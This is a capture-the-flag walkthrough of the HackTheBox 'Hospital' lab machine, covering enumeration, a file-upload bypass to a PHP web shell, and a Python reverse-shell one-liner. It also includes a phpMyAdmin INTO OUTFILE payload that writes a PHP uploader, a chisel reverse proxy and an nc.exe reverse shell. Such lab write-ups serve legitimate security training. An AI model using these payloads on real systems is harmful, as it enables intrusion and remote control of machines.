HackTheBox | Hospital

In this walkthrough, I demonstrate how I obtained complete ownership of Hospital on HackTheBox
HackTheBox | Hospital
In: HackTheBox, Attack, CTF

Nmap Results

# Nmap 7.94SVN scan initiated Sat Feb 10 02:39:58 2024 as: nmap -Pn -p- --min-rate 3000 -A -oN nmap.txt
Nmap scan report for dc.hospital.htb (
Host is up (0.012s latency).
Not shown: 65506 filtered tcp ports (no-response)
22/tcp    open  ssh               OpenSSH 9.0p1 Ubuntu 1ubuntu8.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 e1:4b:4b:3a:6d:18:66:69:39:f7:aa:74:b3:16:0a:aa (ECDSA)
|_  256 96:c1:dc:d8:97:20:95:e7:01:5f:20:a2:43:61:cb:ca (ED25519)
53/tcp    open  domain            Simple DNS Plus
88/tcp    open  kerberos-sec      Microsoft Windows Kerberos (server time: 2024-02-10 14:40:47Z)
135/tcp   open  msrpc             Microsoft Windows RPC
139/tcp   open  netbios-ssn       Microsoft Windows netbios-ssn
389/tcp   open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
443/tcp   open  ssl/http          Apache httpd 2.4.56 ((Win64) OpenSSL/1.1.1t PHP/8.0.28)
| tls-alpn: 
|_  http/1.1
| ssl-cert: Subject: commonName=localhost
| Not valid before: 2009-11-10T23:48:47
|_Not valid after:  2019-11-08T23:48:47
|_http-server-header: Apache/2.4.56 (Win64) OpenSSL/1.1.1t PHP/8.0.28
|_ssl-date: TLS randomness does not represent time
|_http-title: Hospital Webmail :: Welcome to Hospital Webmail
445/tcp   open  microsoft-ds?
464/tcp   open  kpasswd5?
593/tcp   open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
636/tcp   open  ldapssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
1801/tcp  open  msmq?
2103/tcp  open  msrpc             Microsoft Windows RPC
2105/tcp  open  msrpc             Microsoft Windows RPC
2107/tcp  open  msrpc             Microsoft Windows RPC
2179/tcp  open  vmrdp?
3268/tcp  open  ldap              Microsoft Windows Active Directory LDAP (Domain: hospital.htb0., Site: Default-First-Site-Name)
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3269/tcp  open  globalcatLDAPssl?
| ssl-cert: Subject: commonName=DC
| Subject Alternative Name: DNS:DC, DNS:DC.hospital.htb
| Not valid before: 2023-09-06T10:49:03
|_Not valid after:  2028-09-06T10:49:03
3389/tcp  open  ms-wbt-server     Microsoft Terminal Services
| ssl-cert: Subject: commonName=DC.hospital.htb
| Not valid before: 2024-02-09T13:35:28
|_Not valid after:  2024-08-10T13:35:28
| rdp-ntlm-info: 
|   Target_Name: HOSPITAL
|   NetBIOS_Domain_Name: HOSPITAL
|   NetBIOS_Computer_Name: DC
|   DNS_Domain_Name: hospital.htb
|   DNS_Computer_Name: DC.hospital.htb
|   DNS_Tree_Name: hospital.htb
|   Product_Version: 10.0.17763
|_  System_Time: 2024-02-10T14:41:46+00:00
5985/tcp  open  http              Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
6404/tcp  open  msrpc             Microsoft Windows RPC
6406/tcp  open  ncacn_http        Microsoft Windows RPC over HTTP 1.0
6407/tcp  open  msrpc             Microsoft Windows RPC
6411/tcp  open  msrpc             Microsoft Windows RPC
6617/tcp  open  msrpc             Microsoft Windows RPC
6635/tcp  open  msrpc             Microsoft Windows RPC
8080/tcp  open  http              Apache httpd 2.4.55 ((Ubuntu))
| http-title: Login
|_Requested resource was login.php
|_http-server-header: Apache/2.4.55 (Ubuntu)
|_http-open-proxy: Proxy might be redirecting requests
| http-cookie-flags: 
|   /: 
|_      httponly flag not set
9389/tcp  open  mc-nmf            .NET Message Framing
17220/tcp open  msrpc             Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
Device type: general purpose
Running (JUST GUESSING): Linux 5.X (89%)
OS CPE: cpe:/o:linux:linux_kernel:5.0
Aggressive OS guesses: Linux 5.0 (89%)
No exact OS matches for host (test conditions non-ideal).
Network Distance: 2 hops
Service Info: Host: DC; OSs: Linux, Windows; CPE: cpe:/o:linux:linux_kernel, cpe:/o:microsoft:windows

Host script results:
| smb2-security-mode: 
|   3:1:1: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2024-02-10T14:41:50
|_  start_date: N/A
|_clock-skew: mean: 6h59m59s, deviation: 0s, median: 6h59m59s

TRACEROUTE (using port 3389/tcp)
1   11.99 ms
2   12.09 ms dc.hospital.htb (

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Sat Feb 10 02:42:27 2024 -- 1 IP address (1 host up) scanned in 149.16 seconds

In the nmap output, note the dc.hospital.htb domain name. Let's go ahead and add the hostname as well as the root domain to our /etc/hosts file.

echo '        dc.hospital.htb hospital.htb' | sudo tee -a /etc/hosts

Service Enumeration


Attempted zone transfer failed


Anonymous share listing failed


Kerberos Pre-Auth User... | 0xBEN | Notes
How it Works We can send a request for a TGT --- without a pre-authentication hash --- to the Kerbe…
Confirmed usernames via Kerberos pre-auth
AS-REP Roasting (Inter... | 0xBEN | Notes
AS-REP Roasting If Kerberos pre-authentication is disabled on a user account in Active Directory, t…
cat kerbrute.log | grep '@' | cut -d '@' -f 1 | awk -v FS=' ' '{print $7}' > as-rep.txt

Create a list of usernames for kerberoasting

No AS-REP roastable users
kerbrute bruteuser --dc dc.hospital.htb -d hospital.htb -o kerbrute_pw.log -t 100 ~/Pentest/WordLists/rockyou.txt drwilliams
Looks like there's an account lockout policy... whoops


We can see this is an Apache server built for Windows
Doesn't appear to be using virtual hosts, as both pages are the same

Gobuster Enumeration

Directory and File Enumeration

gobuster dir -k -u https://dc.hospital.htb -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-443.txt -t 100 --exclude-length 306
/Index.php            (Status: 200) [Size: 5322]
/favicon.ico          (Status: 200) [Size: 16958]
/examples             (Status: 503) [Size: 406]
/index.php            (Status: 200) [Size: 5322]
/installer            (Status: 301) [Size: 349] [--> https://dc.hospital.htb/installer/]
/licenses             (Status: 403) [Size: 425]
/phpmyadmin           (Status: 403) [Size: 425]
/server-info          (Status: 403) [Size: 425]
/server-status        (Status: 403) [Size: 425]

Fingerprinting the Server

Looking at the source code on the site root, we can search for the keyword version and find the keyword rcversion in some JSON.

We can then go to their GitHub repository and see how this bit of text is utilized server side. Just click the search bar in GitHub and enter rcversion.

GitHub - roundcube/roundcubemail: The Roundcube Webmail suite
The Roundcube Webmail suite. Contribute to roundcube/roundcubemail development by creating an account on GitHub.

Referencing the comment in the source code, this server seems to be running Roundcube version 1.6.4.

Unfortunately, there doesn't appear to be any interesting CVEs for this version.


The server invites us to create an account, so let's oblige. I created the following credential test:testtest. Now, let's login.

Testing the File Upload

Here, we have a form that takes files of type, image and makes a HTTP POST request to /upload.php on the server.

If we test the application as a normal user would and upload an image file, the app accepts the image and redirects us to /success.php.

Gobuster Enumeration

Directory and File Enumeration

gobuster dir -k -u http://dc.hospital.htb:8080/ -w /usr/share/seclists/Discovery/Web-Content/big.txt -x html,php,txt -o gobuster-8080.txt -t 100
/config.php           (Status: 200) [Size: 0]
/css                  (Status: 301) [Size: 323] [--> http://dc.hospital.htb:8080/css/]
/failed.php           (Status: 200) [Size: 3508]
/fonts                (Status: 301) [Size: 325] [--> http://dc.hospital.htb:8080/fonts/]
/images               (Status: 301) [Size: 326] [--> http://dc.hospital.htb:8080/images/]
/index.php            (Status: 302) [Size: 0] [--> login.php]
/js                   (Status: 301) [Size: 322] [--> http://dc.hospital.htb:8080/js/]
/logout.php           (Status: 302) [Size: 0] [--> login.php]
/login.php            (Status: 200) [Size: 5739]
/register.php         (Status: 200) [Size: 5125]
/server-status        (Status: 403) [Size: 282]
/success.php          (Status: 200) [Size: 3536]
/upload.php           (Status: 200) [Size: 0]
/uploads              (Status: 301) [Size: 327] [--> http://dc.hospital.htb:8080/uploads/]
/vendor               (Status: 301) [Size: 326] [--> http://dc.hospital.htb:8080/vendor/]

Locating the Uploaded File

I uploaded the file Hospital.png to the server. Seeing there is a /uploads/ directory, it makes sense to assume my file will be at /uploads/Hospital.png.

Getting a Web Shell

Since this is an Apache server, I should be able to get a web shell using a Windows-specific payload.

wwwolf-php-webshell/webshell.php at master · WhiteWinterWolf/wwwolf-php-webshell
WhiteWinterWolf’s PHP web shell. Contribute to WhiteWinterWolf/wwwolf-php-webshell development by creating an account on GitHub.
wget https://github.com/WhiteWinterWolf/wwwolf-php-webshell/raw/master/webshell.php -O sh.php

Uploading the file with a .php extension and changing the Content-Type header did not work. Ultimately, uploading the file as sh.phar and setting the Content-Type header to image/png bypassed the sanitization tests on the upload form.

It seems odd that the operating system is identified as Linux on a Windows target, which makes me wonder if this server is running in Windows Subsystem for Linux (WSL) or Docker.


To get a reverse shell, start a TCP listener and run the following payload in the Cmd field.

sudo rlwrap nc -lnvp 443
python3 -c 'import socket,os,pty;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("",443));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);pty.spawn("/bin/bash")'

Change your IP and port as needed

Post-Exploit Enumeration

Operating Environment

OS & Kernel

Linux webserver 5.19.0-35-generic #36-Ubuntu SMP PREEMPT_DYNAMIC Fri Feb 3 18:36:56 UTC 2023 x86_64 x86_64 x86_64 GNU/Linux
PRETTY_NAME="Ubuntu 23.04"
VERSION="23.04 (Lunar Lobster)"

Current User

uid=33(www-data) gid=33(www-data) groups=33(www-data)

Sorry, user www-data may not run sudo on webserver.

Users and Groups

Local Users

drwilliams:x:1000:1000:Lucy Williams:/home/drwilliams:/bin/bash    

Local Groups


Network Configurations

Network Interfaces

eth0: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:15:5d:00:8a:02 brd ff:ff:ff:ff:ff:ff
    inet brd scope global eth0
       valid_lft forever preferred_lft forever
    inet6 fe80::215:5dff:fe00:8a02/64 scope link 
       valid_lft forever preferred_lft forever

Open Ports

tcp        0      0*               LISTEN      -    

Interesting Files


/* Database credentials. Assuming you are running MySQL
server with default setting (user 'root' with no password) */
define('DB_SERVER', 'localhost');
define('DB_USERNAME', 'root');
define('DB_PASSWORD', 'my$qls3rv1c3!');
define('DB_NAME', 'hospital');
/* Attempt to connect to MySQL database */
$link = mysqli_connect(DB_SERVER, DB_USERNAME, DB_PASSWORD, DB_NAME);
// Check connection
if($link === false){
    die("ERROR: Could not connect. " . mysqli_connect_error());

Privilege Escalation

Crack Hashes from MySQL

Using the MySQL credentials found in /var/www/html/config.php let's try connecting to the database and see what we can find.

show databases;
use hospital;
show tables;
SELECT * FROM users;
Note that test is the user I created when interacting with the application

Let's see if we can crack any hashes. Copy the admin and patient hashes to a local file and follow along.


Contents of file

The admin hash cracks right away. The patient hash cracked a bit after but I suspect that's of no consequence, as it's likely an unprivileged account.

Unfortunately, these cracked hashes are clearly junk. There's no way these logons are going to be used anywhere on the system.


However... what if we can access the /phpmyadmin/ resource internally. Note that before, we received a HTTP 403 response when trying to access https://hospital.htb/phpmyadmin/ at the initial enumeration. There's a good chance we can reach it from our reverse shell, since the request is coming from its own network interface stack.

Here's the HTTP 403 response from the server when trying to access the page initially.

Let's set up a reverse SOCKS proxy using chisel and try reaching the page through that.

Download Chisel

For this, we'll need a copy of the chisel binary on both the target and Kali.

Port Forwarding with C... | 0xBEN | Notes
GitHub Download from the Releases Page Usage Requires a copy of the Chisel binary on: The ta…
wget https://github.com/jpillora/chisel/releases/download/v1.9.1/chisel_1.9.1_linux_amd64.gz -O chisel.gz
gunzip chisel.gz
chmod u+x chisel

Download and gunzip chisel to Kali

sudo python3 -m http.server 80

Host the chisel binary over HTTP

wget http://kali-vpn-ip/chisel -O /tmp/chisel
chmod u+x /tmp/chisel

Download chisel from Kali to the target

Create the Reverse SOCKS Proxy

sudo ./chisel server --port 8081 --reverse &

Start chisel in reverse mode on Kali and server it in the background on TCP/8081

/tmp/chisel client kali-vpn-ip:8081 R:58080:socks &

Connect to the chisel server on Kali and open TCP/58080 on Kali as a reverse SOCKS proxy

sudo nano /etc/proxychains4.conf

Edit the proxychains file and add our SOCKS5 proxy

Save your changes

Configure Burp to Use the Proxy

In Burp, go to 'Proxy settings'
Go to Network > Connections
Configure your SOCKS proxy
I didn't see a way to change the roundcube user passwords from phpmyadmin, so instead, we'll use phpmyadmin to write a web shell.

Write a Web Shell Using PHPMYADMIN

Click the 'Home' button and then click 'Variables'
Using the search filter, we see the base director is 'C:\xampp'

We can use this GitHub Gist as a starting point for our payload, but we'll have to change the directory where the payload writes to.

Uploading Shell via PHPmyadmin
Uploading Shell via PHPmyadmin. GitHub Gist: instantly share code, notes, and snippets.
Open the 'test' database
Click the 'SQL' tab and paste in your SQL query
"<?php echo \'<form action=\"\" method=\"post\" enctype=\"multipart/form-data\" name=\"uploader\" id=\"uploader\">\';echo \'<input type=\"file\" name=\"file\" size=\"50\"><input name=\"_upl\" type=\"submit\" id=\"_upl\" value=\"Upload\"></form>\'; if( $_POST[\'_upl\'] == \"Upload\" ) { if(@copy($_FILES[\'file\'][\'tmp_name\'], $_FILES[\'file\'][\'name\'])) { echo \'<b>Upload Done.<b><br><br>\'; }else { echo \'<b>Upload Failed.</b><br><br>\'; }}?>"
INTO OUTFILE 'C:/xampp/phpmyadmin/uploader.php';

I used '/phpmyadmin/' as the directory, cause it was easiest

Our file was successfully written!

Now, let's use that same web shell from the file upload vulnerability on tcp/8080.


Let's transfer nc.exe to the target and get a reverse shell.

cp /usr/share/windows-resources/binaries/nc.exe .

Copy 'nc.exe'

Use the file upload on the web shell to transfer 'nc.exe' to the target
sudo rlwrap nc -lnvp 443

Start a TCP listener

Fill out the command to connect to your listener
That answers my earlier question. The web server running on tcp/8080 was being served from a VM running in Hyper-V.





More from 0xBEN
Table of Contents
Great! You’ve successfully signed up.
Welcome back! You've successfully signed in.
You've successfully subscribed to 0xBEN.
Your link has expired.
Success! Check your email for magic link to sign-in.
Success! Your billing info has been updated.
Your billing was not updated.